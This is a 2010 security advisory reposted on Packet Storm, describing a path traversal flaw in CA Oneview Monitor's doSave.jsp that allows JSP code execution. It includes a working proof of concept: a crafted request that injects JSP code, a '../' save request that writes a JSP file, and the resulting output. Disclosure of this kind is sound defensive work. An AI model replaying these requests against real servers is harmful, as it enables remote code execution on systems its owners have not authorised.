CA Oneview Monitor DoSave.jsp Path Manipulation

2010-08-13T00:00:00
ID PACKETSTORM:92730
Type packetstorm
Reporter Giorgio Fedon
Modified 2010-08-13T00:00:00

Description

                                        
                                            `Minded Security Labs: Advisory #MSA100410  
CA Oneview Monitor "DoSave.jsp" path manipulation  
  
Tested Versions:   
This advisory is intended for CA Netegrity Siteminder Policy Manager 6.x   
with Netegrity Oneview monitor installed.  
  
  
Minded Security ReferenceID:  
MSA100410  
  
  
Credits:  
Discovery by   
Giorgio Fedon of Minded Security  
giorgio.fedon [_at_] mindedsecurity.com  
  
  
Severity:   
High: Attackers may be able to execute arbitrary code on the remote   
system.  
  
  
  
Solution:   
Apply thorough input validation techniques to user input in order to   
prevent path manipulation via "../" and control that provided input has   
no extension (e.g. ".").  
In addition, we also suggest to protect this interface by default using   
a password security policy.  
  
  
Summary  
  
Minded Security Consultants discovered during a penetration testing   
activity that Oneview monitor interface let users to save configuration   
settings files with arbitrary extensions (e.g. JSP). In addition an   
attacker could execute arbitrary JSP code since the saved file content   
can be partially controlled.  
  
  
Analysis  
  
Minded Security consultants discovered that   
"/sitemindermonitor/doSave.jsp" is prone to a path manipulation issue.   
Users may be able to save configuration settings in different   
destination paths with an arbitrary extension. Since the   
configuration file content can be partially controlled, an attacker   
could be able to execute arbitrary JSP code.  
One View Monitor is shipped with a default installation of CA Siteminder   
6.0 Sp5 and is included with CA Siteminder Policy Editor.  
By default Oneview Monitor configuration files are saved in   
"/siteminder/monitor/settings". Siteminder Monitor is a single user   
application, if no password is set, anybody may be able to perform the   
following attack.  
First of all an attacker should add a Custom Table (newtable) with the   
jsp code to be executed, using a HTTP Request like the following one:  
  
  
GET /sitemindermonitor/doConfig.jsp?newTable=newtable&components=Agent&  
cols=AuthorizeCount%20/%20sec%0d<%25@%20page %20import="java.io.*"%20%25>%0d<%25@%20page%20  
import="java.util.*"%20%25>%0d<%25%20out.println("Jsp%20Code %20Execution")%3b%20%25> HTTP/1.1 Host: 192.168.1.1 User­Agent: Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.8)  
Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: it­it,it;q=0.8,en­us;q=0.5,en;q=0.3 Accept­Encoding: gzip,deflate Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7 Keep­Alive: 300 Proxy­Connection: keep­alive Cookie: JSESSIONID=5Y0j0KctsQUfAzdP6GUUSRB0PZY   
  
  
  
The previous simple code will print on screen "JSP Code Execution":  
  
  
<%@ page import="java.io.*" %> <%@ page import="java.util.*" %> <% out.println("Jsp Code Execution"); %>   
  
  
  
The following request will create a new Jsp page that contains our JSP   
code:  
- http://<webserver>/sitemindermonitor/doSave.jsp?file=../attacksample.jsp  
  
The previous request will create a new file called "attacksample.jsp" in   
"d:\<programs>\siteminder\monitor\attacksample.jsp"; An attacker can now   
request the new file through the following http request:  
- http://<webserver>/sitemindermonitor/attacksample.jsp  
  
The output will be the following one:  
  
  
m_tableKeyq�~�xp�����ur�[Ljava.lang.String;­ ÒVçé{G��xp���t�Hostt�Productt�Platformt�Versiont�  
Statust�IsProtectedCountuq�~� ���t�hostt�productt�platformt�  
versiont�statust�isprotectedcountur  
�[ZW 9 ̧]â��xp���������uq�~� ���t�Agentt� Policy Serveruq�~� loginfailurest�validationcountuq�~���������uq�~� ���t�Agentuq�~� ���t�agentt�Agentsq�~�Lsq�~������uq�~� ���t�pAuthorizeCount / sec JSP Code Execution uq�~� ���t�authorizecountuq�~����uq�~�   
  
  
  
An attacker could step on with further attacks, such as executing   
processes on the remote system or getting direct filesystem access.  
  
  
Disclosure Timeline  
  
10/04/2010 Issue found  
29/04/2010 Reported to Vendor  
10/06/2010 Vendor Response Not A Bug (Function as Designed: see  
remediation Notes)  
23/06/2010 Public Disclosure  
  
  
Disclaimer  
  
  
The information within this paper may change without notice. Use  
of this information constitutes acceptance for use in an AS IS  
condition. There are NO warranties with regard to this information.  
  
In no event shall the author be liable for any damages whatsoever   
arising out of or in connection with the use or spread of this   
information.  
  
Any use of this information is at the user's own risk.  
Permission is hereby granted for the redistribution of this Alert  
electronically. It is not to be edited in any way without express  
consent of Minded Security Research Lab. If you wish to reprint the  
whole or any part of this Alert in any other medium excluding  
electronic medium, please e-mail research_at_mindedsecurity.com   
for permission.  
  
  
  
Copyright (c) 2010 Minded Security, S.r.l..  
  
All rights reserved worldwide.  
  
  
  
`